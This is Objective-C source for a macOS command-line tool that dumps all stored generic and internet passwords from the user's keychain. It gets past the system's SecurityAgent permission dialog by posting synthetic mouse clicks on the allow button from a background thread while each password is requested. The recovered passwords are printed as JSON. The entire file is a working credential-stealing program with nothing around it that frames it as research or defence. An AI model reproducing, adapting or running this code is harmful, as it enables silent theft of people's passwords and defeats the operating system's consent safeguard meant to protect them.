// gcc dump.m -framework CoreFoundation -framework Security -framework Cocoa -o dump #import #import #import #include #include #include #define TIMEOUT 3 void click(float x, float y) { CGEventRef move1 = CGEventCreateMouseEvent( NULL, kCGEventMouseMoved, CGPointMake(x, y), kCGMouseButtonLeft // ignored ); CGEventRef click1_down = CGEventCreateMouseEvent( NULL, kCGEventLeftMouseDown, CGPointMake(x, y), kCGMouseButtonLeft ); CGEventRef click1_up = CGEventCreateMouseEvent( NULL, kCGEventLeftMouseUp, CGPointMake(x, y), kCGMouseButtonLeft ); CGEventPost(kCGHIDEventTap, move1); CGEventPost(kCGHIDEventTap, click1_down); CGEventPost(kCGHIDEventTap, click1_up); // Release the events CFRelease(move1); CFRelease(click1_up); CFRelease(click1_down); } void parse_windows(int offx, int offy) { CFArrayRef windowList = CGWindowListCopyWindowInfo(kCGWindowListOptionOnScreenOnly, kCGNullWindowID); for (NSMutableDictionary* entry in (NSArray*)windowList) { CGRect rect; NSString* ownerName = [entry objectForKey:(id)kCGWindowOwnerName]; if ([ownerName isEqualToString: @"SecurityAgent"]) { CFDictionaryRef bounds = (CFDictionaryRef)[entry objectForKey:(id)kCGWindowBounds]; CGRectMakeWithDictionaryRepresentation(bounds, &rect); float spotx = rect.origin.x + 385 + offx; float spoty = rect.origin.y + rect.size.height - 25 + offy; click(spotx, spoty); } } CFRelease(windowList); } void poll_ui() { while(1) { sleep(0.0001); parse_windows(0, 0); } } id tQuery = NULL; CFTypeRef result = NULL; void prompt() { SecItemCopyMatching((__bridge CFDictionaryRef)tQuery, &result); } void dump(NSArray *refs) { NSData *jsonData = [NSJSONSerialization dataWithJSONObject: refs options:NSJSONWritingPrettyPrinted // Pass 0 if you don't care about the readability of the generated string error: NULL]; [jsonData writeToFile: @"/dev/stdout" atomically: NO]; } int main() { pthread_t thread_prompt, thread_click; NSArray *secItemClasses = [NSArray arrayWithObjects: (__bridge id)kSecClassGenericPassword, (__bridge id)kSecClassInternetPassword, nil]; NSMutableDictionary *query = [NSMutableDictionary dictionaryWithObjectsAndKeys: (__bridge id)kSecMatchLimitAll, (__bridge id)kSecMatchLimit, (__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnAttributes, (__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnRef, nil]; NSMutableArray *refs = [NSMutableArray new]; for (id secItemClass in secItemClasses) { [query setObject:secItemClass forKey:(__bridge id)kSecClass]; CFTypeRef result1 = NULL; SecItemCopyMatching((__bridge CFDictionaryRef)query, &result1); NSArray *data = (__bridge NSArray*)result1; if (data) { for (NSDictionary *item in data) { if (!item) continue; NSMutableDictionary *newItem = [NSMutableDictionary new]; for (NSString* key in item) { [newItem setObject:[[item objectForKey: key] description] forKey: key]; } [newItem setObject:[item objectForKey: @"v_Ref"] forKey: @"v_Ref"]; [refs addObject: newItem]; } if (result1 != NULL) CFRelease(result1); } } NSMutableArray *all = [NSMutableArray new]; for (id ref in refs) { tQuery = [NSMutableDictionary dictionaryWithObjectsAndKeys: (__bridge id)[ref objectForKey: @"v_Ref"], (__bridge id)kSecValueRef, (__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnData, nil]; for (id secItemClass in secItemClasses) { [tQuery setObject:secItemClass forKey:(__bridge id)kSecClass]; result = NULL; pthread_create(&thread_click, NULL, (void*)poll_ui, NULL); pthread_create(&thread_prompt, NULL, (void*)prompt, NULL); time_t end = time(NULL) + TIMEOUT; int found = 0; while(time(NULL) < end) { if (result != NULL) { found = 1; break; } sleep(0.1); } pthread_cancel(thread_click); pthread_cancel(thread_prompt); [ref removeObjectForKey: @"v_Ref"]; // we didnt find anything in TIMEOUT seconds. this can happen if the keychain // is locked if (!found) { parse_windows(-80, 0); // click cancel dump(all); // get out now return 0; } NSString *pass = @"(null)"; if (result && [result bytes]) { pass = [NSString stringWithUTF8String:[result bytes]]; if (!pass) pass = @"(null)"; } else { pass = @"(null)"; } [ref setObject:pass forKey: @"Private"]; [all addObject: ref]; } } dump(all); return 0; }